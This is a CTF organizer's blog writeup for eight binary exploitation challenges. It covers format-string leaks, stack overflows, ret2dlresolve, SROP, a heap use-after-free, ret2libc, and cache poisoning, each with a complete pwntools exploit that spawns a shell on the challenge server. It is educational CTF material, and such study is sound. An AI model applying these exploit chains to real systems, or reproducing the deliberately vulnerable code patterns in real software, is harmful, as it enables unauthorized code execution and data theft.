Red Pointer CTF - Complete PWN Writeups

AuthorWriteup

Complete writeups for all the challenges from Red Pointer CTF, which I organized alongside Taz (Moetez Zouari). The CTF featured 8 unique pwn challenges split across two storylines: The Phantom Syndicate and The Red Shadow.


The Phantom Syndicate

Peripheral Breach

Source Code Analysis

Looking at the source code, we see the following logic:

void maintain() {
    system("/bin/sh");
    exit(0);
}

This function spawns a shell. Our goal is to redirect execution here.

printf(confirm);

This is a format string vulnerability. It allows us to read or write memory by crafting the input to confirm.

gets(cred);

This is a classic buffer overflow vulnerability. It lets us overwrite memory, including the return address.

Binary Protections

Analyzing the binary, we observe:

Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
Stripped: No

With PIE and a stack canary, we need to leak both to exploit.

Exploitation Strategy

  1. Leak the PIE base and the stack canary using the format string.
  2. Overwrite the return address to call maintain.

Exploitation Details

Leaking PIE and Canary

Using the format string, we leak memory:

Welcome to Printer Server v1.0
Schedule job (s) or Cancel (c)? s
Enter filename to print: %p
Enter URL: whatever
Confirm printing: 0x56477db645cf from whatever

The leaked address 0x56477db645cf is in the program segment. Offset from base: 0x35cf.

Using GDB:

  • Filename buffer starts at %8$p.
  • Canary offset: 0x208 from buffer.

Ret2Win

After leaking PIE and canary, overwrite the return address to call maintain.
From objdump:

1521:   48 8d 85 f0 fe ff ff    lea    rax,[rbp-0x110]
1528:   48 89 c7                mov    rdi,rax
152b:   b8 00 00 00 00          mov    eax,0x0
1530:   e8 8b fb ff ff          call   10c0 <gets@plt>

Offsets:

  • To rbp: 0x110
  • To canary: 0x108

Exploit Code

Below is the exploit code used to achieve the ret2win attack:

from pwn import*

elf = context.binary = ELF('./main')
io = remote('x-0r.com', 5000)

def scheduleJob(filename, url):
    io.sendline(b's')
    io.sendline(filename)
    io.sendline(url)

offset = 0x208 // 0x8
offset += 0x8
scheduleJob(f"%p,%{offset}$p".encode(), b'cl1pp1ng_c01n5_s1nc3_7h3_d4wn_0f_71m3')

io.recvuntil(b'printing: ')
elf.address = int(io.recvuntil(b',', drop=True), 16) - 0x35cf 
canary = int(io.recvuntil(b' ', drop=True), 16)

rop = ROP(elf)
ret = rop.find_gadget(['ret'])[0]

payload = b'A' * 0x108 + p64(canary) + p64(0x0) + p64(ret) + p64(elf.sym.maintain)
io.sendline(payload)

io.interactive()

Network Relay

Source Code Analysis

Looking at the source code, we find a buffer overflow:

void user_input(void){
    char buf[60];
    read(0, buf, 200);
}

Binary Protections

Analyzing the binary, we observe:

Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No

With no PIE and no stack canary, we can hijack control flow to any function. We don't have a win function or libc but we have partial RELRO, so we can do a ret2dlresolve attack.

Exploitation Strategy

Use ret2dlresolve to resolve and call system("/bin/sh").

Exploitation Details

Exploit Code

Below is the exploit code used to achieve the ret2dlresolve attack:

from pwn import *

elf = context.binary = ELF('./main')
io = remote('x-0r.com', 5001)
rop = ROP(elf)

# this is the login password for the challenge, it is unrelated to the exploit itself
io.sendline(b'PhantomNetRelay0x10!')
pause()

# create the dlresolve object
dlresolve = Ret2dlresolvePayload(elf, symbol='system', args=['/bin/sh'])

rop.raw('A' * 0x48) # Trigger the buffer overflow
rop.read(0, dlresolve.data_addr) # read to where we want to write the fake structures
rop.ret2dlresolve(dlresolve) # call .plt and dl-resolve() with the correct, calculated reloc_offset

io.sendline(rop.chain())
io.sendline(dlresolve.payload)

io.interactive()

Database Intrusion

Source Code Analysis

We can easily spot a buffer overflow vulnerability in the vuln() function:

 char buf[60];
 read(0,buf,400);

The program also provides us with crucial information leaks:

printf(">> Secure channel established at %p:%p.\n",&buf,&vuln);

This leaks both a stack address (&buf) and an address from the .text section (&vuln), effectively bypassing PIE protection (which we'll see later on that it is enabled).

Additionally, there's a syscall gadget available:

void gadgets(){
    __asm__("syscall;ret;");
}

The final hint comes from the print statements at the end of vuln():

printf("dgets for rax!\n");

This printf returns 15, setting up rax = 15 which is perfect for a SIGRETURN syscall (syscall number 15).

Binary Protections

Analyzing the binary, we observe:

Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
Stripped: No

While PIE is enabled, we have already discussed how we can bypass it. And with no stack canary, we can easily control the return address for our SROP attack.

Target Analysis

The binary contains the string /bin/sh at offset 0x2008:

$ strings -tx main | grep bin
   2008 /bin/sh

This string is present because the check_forbidden() function blacklists it from user input, which allows us we to reference it directly in memory.

Exploitation Strategy

  1. Use the leaked PIE base to calculate addresses
  2. Leverage the printf("dgets for rax!\n") call that sets rax = 15 (SIGRETURN syscall number)
  3. Perform a SROP (Sigreturn-Oriented Programming) attack to execute execve("/bin/sh", 0, 0)

Exploitation Details

Memory Layout

  • Offset to return address: 0x48 (72 bytes)
  • Syscall gadget available in the binary

SROP Attack Setup

We set up a SigreturnFrame with:

  • rax = 0x3b (execve syscall number)
  • rdi = address of "/bin/sh" (first argument)
  • rsi = 0x0 (second argument - argv)
  • rdx = 0x0 (third argument - envp)
  • rip = syscall gadget address (instruction pointer)

Exploit Code

from pwn import*

elf = context.binary = ELF('./main')
io = remote('x-0r.com', 5002)

# this is just the login password for the challenge and is unrelated to the exploit itself
io.sendlineafter(b'Enter password: ', b'HelloPhantom!23')

io.recvuntil(b':')
elf.address = int(io.recvuntil(b'.', drop=True), 16) - elf.sym.vuln
rop = ROP(elf)
syscall_gadget = rop.find_gadget(['syscall', 'ret'])[0]
frame = SigreturnFrame()
frame.rax = 0x3b
frame.rdi = elf.address + 0x2008
frame.rsi = 0x0
frame.rdx = 0x0
frame.rip = syscall_gadget

payload = b'A' * 0x48 + p64(syscall_gadget) + bytes(frame)
io.sendline(payload)

io.interactive()

Exploit Breakdown

  1. PIE Base Calculation: Extract the leaked vuln address and calculate the PIE base
  2. Gadget Location: Find the syscall gadget within the binary
  3. SROP Frame Setup: Configure the sigreturn frame for execve("/bin/sh", 0, 0)
  4. Payload Construction:
    • 72 bytes of padding to reach the return address
    • Address of syscall gadget (triggers sigreturn with rax=15)
    • Complete sigreturn frame with our desired register values

The attack works because:

  • The printf call sets rax = 15 (SIGRETURN syscall)
  • We return to the syscall gadget, which executes sigreturn
  • The kernel restores our crafted register state
  • Control transfers to the syscall gadget again with rax = 0x3b (execve)
  • execve("/bin/sh", 0, 0) is executed, spawning a shell

This technique bypasses the input filtering since we never send "/bin/sh" as input - we reference it directly from the binary's memory space.


Mainframe Takeover

Source Code Analysis

The program implements an authentication system with a critical buffer overflow vulnerability:

char input_id[20];
read(0, input_id, 269);

The authentication flow works as follows:

  1. User provides an Operative ID
  2. If the ID exists, the program prompts for credentials
  3. Successful authentication leads to different privileges:
    • Admin user (d3f4ul7): Can read any file
    • Regular users: Limited to their personal data files

Admin privilege level is vulnerable to command injection through the system() calls:

// Admin level
snprintf(command, sizeof(command), "cat %s", input);
system(command);

// Regular user level  
snprintf(command, sizeof(command), "cat %s_data", found_user->id);
system(command);

A crucial detail is the reconnect() function that gets called when an invalid Operative ID is provided:

void reconnect() {
    pid_t pid = fork();
    }
}

This fork() call is critical because fork() does not re-randomize stack canaries, ASLR, or PIE - the child process inherits the same memory layout as the parent.

Binary Protections

Analyzing the binary, we observe:

Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
Stripped: No

With both stack canary and PIE enabled, we need to leak both values before being able to hijack control flow.
Fortunately, the fork() behavior gives us the perfect opportunity to do this.

Exploitation Strategy

Since all user passwords are [REDACTED] in the binary and we don't have libc information, our strategy is:

  1. Leak the stack canary using the buffer overflow and invalid ID error message
  2. Leak PIE base using the same technique in the forked child process
  3. Hijack control flow to bypass authentication checks
  4. Do command injection to get shell access

Exploitation Details

Memory Layout Analysis

  • Buffer size: 20 bytes (char input_id[20])
  • Read size: 269 bytes (read(0, input_id, 269))
  • Overflow capacity: 249 bytes

Canary Leak Technique

The stack canary's lowest byte is always \x00 (null byte). By overflowing exactly to this byte and overwriting it with a non-null value, we can leak the canary when the program prints the error message:

printf("\n[-] ERROR: Operative ID [%s] not found in syndicate records.\n", input_id);

printf with %s stops at null bytes.

PIE Leak Technique

Using the same buffer overflow technique but with a different offset, we can leak PIE addresses that are stored on the stack, allowing us to calculate the binary's base address.

Control Flow Hijack

Once we have both the canary and PIE base:

  1. Craft a payload that preserves the canary
  2. Overwrite the return address to jump past the authentication check
  3. Land directly in the admin code path where command injection is possible

Exploit Code

from pwn import*

elf = context.binary = ELF('./main')
io = remote('x-0r.com', 5003)

# login password to start the challenge, unrelated to the exploit
io.sendline(b'X!r7v9-Kaleido.phs')

# Step 1: Leak the canary
payload = b'A' * 0xa9  # Overflow to canary and overwrite null byte
io.sendafter(b'[?] Operative ID: ', payload)
io.recvuntil(payload)
canary = u64(io.recv(0x7).rjust(0x8, b'\x00'))
log.success("Leaked the canary: " + hex(canary))

# Step 2: Leak PIE base (in the reconnected child process)
payload = b'A' * 0xd8  # Overflow to PIE address on stack
io.sendafter(b'[?] Operative ID: ', payload)
io.recvuntil(payload)
elf.address = u64(io.recvuntil(b']', drop=True).ljust(0x8, b'\x00')) - 0x194a
log.success("Leaked PIE: " + hex(elf.address))

# Step 3: Hijack control flow
# Craft ROP chain to bypass authentication and reach admin code
payload = b'A' * 0xa8  # Padding to canary
payload += p64(canary)  # Preserve canary  
payload += p64(elf.bss(0x500))  # New stack pointer (writeable region since the command we'll pass is stored on the stack @rbp-0xN)
payload += p64(elf.address + 0x17e1)  # Jump to admin code path

io.sendafter(b'[?] Operative ID: ', payload)

# Step 4: Achieve command injection
io.interactive()

The key insight is leveraging the fork() behavior that preserves memory layout across reconnections, allowing us to perform multiple information leaks and finally achieve code execution through command injection.


The Red Shadow

Chat System Breach

Source Code Analysis

Looking at the source code, we see the following key components:

void verify_password(){
    if(strncmp(password,"53cr37_c0d3",11)==0){
        puts("Password is correct!");
        puts("[DEBUG] Running ./log");
        system("./log");
        exit(0);
    }
    else
        puts("Incorrect password. Expected: '53cr37_c0d3'.");
}

This function checks if the password matches 53cr37_c0d3 and executes ./log if correct. Our goal is to control the password variable.

The password is allocated dynamically on the heap:

void allocate_password(){
    password=(char*)malloc(sizeof(char)*64);
}

The chat system uses the following structure:

typedef struct {
    int id;
    char *name;
    char message[500];
} Chat;

Chat* chats[10];

Each chat is allocated with:

chats[idx] = malloc(sizeof(Chat));
chats[idx]->name = (char*)malloc(sizeof(char)*64);

Notice that both the password and chat names are allocated with the same size: 64 bytes.

Vulnerability Analysis

The critical vulnerability lies in the delete_chat() function:

void delete_chat() {
    int idx;
    printf("Index (0-9): ");
    scanf("%d", &idx);
    if (idx < 0 || idx >= 10 || !chats[idx]) {
        puts("Invalid index!");
        return;
    }
    char choice;
    free(chats[idx]->name);
    while(1){
    puts("The chat name has been deleted. Are you sure you want to continue and delete the chat? (Y/N):");
    
    read(0,&choice,1);
     if (choice == 'Y' || choice == 'y') {
            free(chats[idx]);
        } 
    else if (choice == 'N' || choice == 'n') {
            puts("Chat deletion canceled.");
        } 
    else 
            puts("Invalid choice! Please enter Y or N.");
        
    }
}

Key Issues:

  1. The chat name is freed with free(chats[idx]->name)
  2. When answering 'N', the function returns without nullifying the pointer
  3. This creates a Use-After-Free (UAF) vulnerability
  4. The chats[idx] structure remains intact, but chats[idx]->name points to freed memory

The rename_chat() function allows us to write to the freed memory:

void rename_chat(){
   int idx;
    printf("Index (0-9): ");
    puts("");
}

Exploitation Strategy

The exploitation leverages heap feng shui and use-after-free:

  1. Create a chat - This allocates both the Chat struct and a 64-byte name buffer
  2. Delete the chat name only - Free the name buffer but keep the Chat struct
  3. Allocate password - The password gets allocated in the same 64-byte chunk that was just freed
  4. Rename the chat - Write to the freed name pointer, which now points to the password buffer
  5. Verify password - The password now contains our controlled data

This works because:

  • Both allocations are the same size (64 bytes)
  • The heap allocator will likely reuse the recently freed chunk
  • The dangling pointer in the Chat struct now points to the password buffer

Exploitation Details

Heap Layout Manipulation

  1. Chat Creation:

    • malloc(sizeof(Chat)) - allocates Chat struct
    • malloc(64) - allocates name buffer
  2. Selective Deletion:

    • free(chats[idx]->name) - frees 64-byte name buffer
    • Chat struct remains allocated with dangling name pointer
  3. Password Allocation:

    • malloc(64) - likely reuses the freed name buffer chunk
    • chats[idx]->name now points to the password buffer
  4. UAF Write:

    • read(0, chats[idx]->name, 64) writes to password buffer
    • We can control the password content

Exploit Code

Below is the exploit code used to achieve the heap manipulation attack:

from pwn import*

io = remote('x-0r.com', 5100)

def newChat(index, name, content):
    io.sendline(b'1')
    io.sendline(str(index).encode())
    io.sendline(name)
    io.sendline(content)

def deleteChat(index, cont=False):
    io.sendline(b'2')
    io.sendline(str(index).encode())
    io.sendline(b'Y' if cont else b'N')

def allocatePassword():
    io.sendline(b'5')

def renameChat(index, name):
    io.sendline(b'3')
    io.sendline(str(index))
    io.sendline(name)

def verifyPassword():
    io.sendline(b'7')

# Step 1: Create a chat with dummy data
newChat(0, b'50_tr1ll10n_d0ll4r5_70_15r43l', b'z3r0_p01n7_7w0_p3rc3n7_0f_7h3_w0rld_b7w')

# Step 2: Delete only the chat name (UAF setup)
deleteChat(0)  # Answer 'N' to keep Chat struct but free name

# Step 3: Allocate password in the freed chunk
allocatePassword()

# Step 4: Use UAF to write secret code to password buffer
renameChat(0, b'53cr37_c0d3')

# Step 5: Verify password
verifyPassword()

io.interactive()

The key insight is exploiting the heap allocator's tendency to reuse recently freed chunks of the same size, combined with the use-after-free vulnerability in the chat deletion logic. This allows us to gain control over the password buffer without directly accessing it.


Secure File Server

Source Code Analysis

The program implements a file management system with upload, download, and edit capabilities. However, it contains several critical vulnerabilities:

Format String Vulnerability

The download functionality contains a format string vulnerability:

void download_file() {
    // ...validation code...
    
    printf("Filename: %s\n", file_list[idx]->name);
    printf("Contents: ");
    printf(file_list[idx]->content);  // Format string vulnerability
    printf("\n");
}

This allows us to read arbitrary memory locations by crafting special format strings in our file content.

Stack-based File Storage Vulnerability

The file upload mechanism uses a dangerous stack allocation approach:

void upload_file() {
    // ...validation code...
    
    static void* current_sp = NULL;
    if (!current_sp) {
    puts("File uploaded.");
}

Files are allocated directly on the stack without proper memory management, creating dangling pointers that can be exploited.

Buffer Overflow in Edit Function

The edit functionality contains a critical buffer overflow:

void edit_file() {
    // ...validation code...
    puts("File updated.");
}

The function writes user input to the address of the idx variable instead of the file's content buffer, allowing us to overwrite stack memory including the return address.

Binary Protections

Analyzing the binary, we observe:

Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'.'
Stripped: No

With PIE enabled but no stack canary, we only need to bypass ASLR to perform a successful ret2libc attack.

Exploitation Strategy

Our exploitation approach consists of three main steps:

  1. Upload buffer files to prevent stack corruption during function calls
  2. Leak libc base address using the format string vulnerability
  3. Overwrite return address using the edit function buffer overflow to achieve ret2libc

Exploitation Details

Step 1: Buffer File Strategy

Since files are stored directly on the stack, we need to upload several "buffer" files first. This prevents our leak payload from being corrupted when function calls decrease the stack pointer and overwrite our data with local variables.

Step 2: ASLR Bypass via Format String

We upload a file containing a format string payload to leak a libc address:

uploadFile(b'ASLR_LEAK', b'%13$p')
downloadFile(3)  # Download our leak file

Through debugging, we determined that %13$p reliably leaks a libc address with a constant offset of 0x276b5 from the libc base address.

Step 3: Return Address Overwrite

Using the buffer overflow in the edit function, we overwrite the return address
The offset from the buffer to the saved RIP is 0xc bytes, determined through debugging.

Exploit Code

from pwn import*

elf = context.binary = ELF('./main')
libc = elf.libc
io = remote('x-0r.com', 5101)

# challenge login password, unrelated to the actual exploit
io.sendline(b'9#zF@4T$3n!VmC82&xLpQ1r*X6~dEj')

def uploadFile(name=b'a', content=b'a'):
    io.sendline(b'1')
    io.sendline(content)

def downloadFile(i):
    io.sendline(b'2')
    io.sendline(str(i).encode())

def editFile(i, content):
    io.sendline(b'3')
    io.sendline(content)

# Upload buffer files to prevent stack corruption
uploadFile()
uploadFile()
uploadFile()
uploadFile(b'ASLR_LEAK', b'%13$p')

# Leak libc base address
downloadFile(3)
io.recvuntil(b'Contents: ')
libc.address = int(io.recvline().strip(), 16) - 0x276b5
log.success("Leaked libc: " + hex(libc.address))

# Build ROP chain for ret2libc
rop = ROP(libc)
pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]
ret = rop.find_gadget(['ret'])[0]
binsh = next(libc.search(b'/bin/sh'))

# Overwrite return address via edit function buffer overflow
payload = b'A' * 0xc + p64(pop_rdi) + p64(binsh) + p64(ret) + p64(libc.sym.system)
editFile(0, payload)

io.interactive()

Exploit Breakdown

  1. Buffer Setup: Upload 4 files - 3 buffers and 1 leak payload
  2. ASLR Bypass: Download the leak file to extract libc base address
  3. ROP Chain: Construct a ret2libc payload with proper stack alignment
  4. Code Execution: Overwrite return address to execute system("/bin/sh")

Command And Control Server

Source Code Analysis

Looking at the source code, we can identify two key vulnerabilities:

Format String Vulnerability

printf(">> Welcome Commander: ");
printf(nickname);
puts("");

Buffer Overflow Vulnerability

char buf[72];
// ... later in the code ...
read(0, buf, 200);

Memory Leak

The program also provides us with a useful memory leak:

void handshake() {
    // ...
    printf(">> Operator ID = badrouch\n>> Auth Token = %p\n", &username);
}

This leaks the address of the global username variable, which we can use for our exploit.

Binary Protections

Analyzing the binary, we observe:

Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
Stripped: No

With no stack canary, we can easily control the return address once we have the necessary leaks.
While PIE is enabled, we don't actually need to leak it for our ret2libc attack.

Target Analysis

The libc version running with this binary doesn't contain a /bin/sh string, and the system() function doesn't work properly. Therefore, we need to:

  1. Write /bin/sh ourselves (we can place it in our buffer)
  2. Use execv() instead of system() to spawn a shell

Exploitation Strategy

  1. Use the format string vulnerability to leak the libc base address
  2. Place /bin/sh string in our buffer at a known offset
  3. Perform a ret2libc attack using execv("/bin/sh", 0) to spawn a shell

Exploitation Details

Leaking Addresses

Using the format string vulnerability, we can leak memory addresses:

  • We leak a stack address to calculate buffer location
  • We leak a libc address to defeat ASLR

ROP Chain Construction

After obtaining the libc base, we construct a ROP chain:

  1. pop rdi; ret - Load /bin/sh address into RDI
  2. pop rsi; ret - Load 0 into RSI (argv parameter)
  3. ret - Stack alignment
  4. execv

Buffer Layout

Our payload structure:

  • 0x50 bytes of padding
  • /bin/sh\x00 string
  • ROP chain to call execv(buf + 0x50, 0)

Exploit Code

from pwn import*

elf = context.binary = ELF('./main')
libc = elf.libc
io = remote('x-0r.com', 5102)

# challenge password
io.sendline(b'myp@ss!')

io.recvuntil(b'Token = ')
username = int(io.recvline().strip(), 16)

io.sendline(b'%p,%43$p')

io.recvuntil(b'Commander: ')
buf = int(io.recvuntil(b',', drop=True), 16) + 0x280
log.success("Found buf: " + hex(buf))
libc.address = int(io.recvline().strip(), 16) - 0x276b5
log.success("Leaked libc: " + hex(libc.address))

rop = ROP(libc)
pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]
pop_rsi = rop.find_gadget(['pop rsi', 'ret'])[0]
ret = rop.find_gadget(['ret'])[0]

payload = b'A' * 0x50 + b'/bin/sh\x00'
payload += p64(pop_rdi)
payload += p64(buf + 0x50)
payload += p64(pop_rsi)
payload += p64(0x0)
payload += p64(ret)
payload += p64(libc.sym.execv)

io.sendline(payload)

io.interactive()

Exploit Breakdown

  1. Address Leaks: Use format string %p,%43$p to leak:
    • Stack address (for calculating buffer location)
    • Libc address (for ASLR bypass)
  2. Payload Construction:
    • 0x50 bytes of padding
    • /bin/sh string placed after the padding
    • ROP chain: pop rdi → buffer+0x50 → pop rsi → 0 → retexecv
  3. Shell Execution: The ROP chain calls execv("/bin/sh", 0) to spawn a shell

Data Exfiltration System

Source Code Analysis

The application implements a file management system with markets and hacked files. At first glance, it appears we can only append hacked files to market files, which seems limited for data exfiltration. However, a deeper analysis reveals critical vulnerabilities.

Recently Closed Files Cache

The program maintains a cache of recently closed files:

char *recently_closed[MAX_RECENT];
int recent_count = 0;

int is_recent(const char *name) {
    for (int i = 0; i < recent_count; i++) {
        if (strcmp(recently_closed[i], name) == 0) return 1;
    }
    return 0;
}

This cache allows bypassing normal file path restrictions. When opening files, the program checks if a file is "recent":

if (is_recent(name)) {
    printf("Fast open via cache!\n");
    src = fopen(name, "r");
} else if (file_exists_in_dir("hacked", name)) {
    char path[128];
    snprintf(path, sizeof(path), "hacked/%s", name);
    src = fopen(path, "r");
}

If a file is in the recent cache, it opens it directly without path restrictions!

The Critical Vulnerability

The close_file() function contains a logic flaw:

void close_file() {
    if (!open_market_file) {
        printf("No open market file to close.\n");
        return;
    }

    // ...
}

The vulnerability lies in the disconnect between what file descriptor is closed and what filename gets added to the cache. The program:

  1. Asks for a filename
  2. Asks for a file descriptor
  3. Closes the file descriptor
  4. Adds the filename to the recently closed cache

There's no validation that the filename corresponds to the closed file descriptor! This allows us to inject arbitrary filenames into the cache.

File Appending Mechanism

The append_file() function reads from any 'hacked' file and writes to the currently open market file:

FILE* src;
if (is_recent(name)) {
    printf("Fast open via cache!\n");
    src = fopen(name, "r");
} else if (file_exists_in_dir("hacked", name)) {
    char path[128];
    src = fopen(path, "r");
}

// ... read from src and write to open_market_file
char buffer[256];
while (fgets(buffer, sizeof(buffer), src)) {
    fputs(buffer, open_market_file);
}

Exploitation Strategy

Our goal is to leak the contents of notes.txt. The attack chain involves:

  1. Poison the Cache: Use the close_file() vulnerability to add notes.txt to the recently closed cache
  2. Redirect Output: Open /proc/self/fd/1 (stdout) as a market file to redirect output to our terminal
  3. Trigger Data Leak: Use append_file() to read notes.txt and write it to stdout

Why /proc/self/fd/1 Works

The challenge runs with pty enabled in the Docker environment:

CMD socat TCP-LISTEN:5103,reuseaddr,fork EXEC:'timeout 120 ./login',pty,stderr

The pty option creates a pseudo-terminal environment where /dev/stdout and /proc/self/fd/1 symlinks are available, allowing us to redirect output to our connection.

Exploitation Details

Step 1: Cache Poisoning

We first need to establish a market file, then poison the cache:

# Open a legitimate market file
openMarket(b'covenant_core')

# Close the file but poison cache with 'notes.txt'
closeFile(b'notes.txt')  # fd=3 (default) will be closed, but 'notes.txt' goes to cache

Step 2: Redirect Output Stream

Next, we redirect the output to stdout:

# Poison cache with /proc/self/fd/1
shell = b'/proc/self/fd/1'
openMarket(b'covenant_core')  # Open another market file
closeFile(shell)  # Add stdout to cache

# Open stdout as market file
openMarket(shell)

Step 3: Data Exfiltration

Finally, we trigger the leak:

# Append notes.txt (from cache) to stdout (current market file)
appendToMarket(b'notes.txt')

Complete Exploit Code

from pwn import*

elf = context.binary = ELF('./main')
io = remote('x-0r.com', 5103)

# challenge password
io.sendline(b'FhoijKey_Not_Encrypted_flag_afagsgijq')

def openMarket(market):
    io.sendline(b'3')
    io.sendline(market)

def closeFile(name, fd=3):
    io.sendline(b'5')
    io.sendline(str(fd).encode())

def appendToMarket(name):
    io.sendline(b'4')
    io.sendline(name)

# Step 1: Poison cache with target file
openMarket(b'covenant_core')
closeFile(b'notes.txt')

# Step 2: Setup stdout redirection
shell = b'/proc/self/fd/1'
openMarket(b'covenant_core')
closeFile(shell)

# Step 3: Execute data exfiltration
openMarket(shell)
appendToMarket(b'notes.txt')

io.interactive()

Attack Flow Summary

  1. Cache Poisoning: Exploit the filename/file descriptor mismatch in close_file() to add notes.txt to the recently closed cache
  2. Output Redirection: Similarly add /proc/self/fd/1 to the cache and open it as a market file
  3. Data Exfiltration: Use append_file() to read notes.txt from cache and write it to stdout (our terminal)
Did you find this post helpful?
Back to blog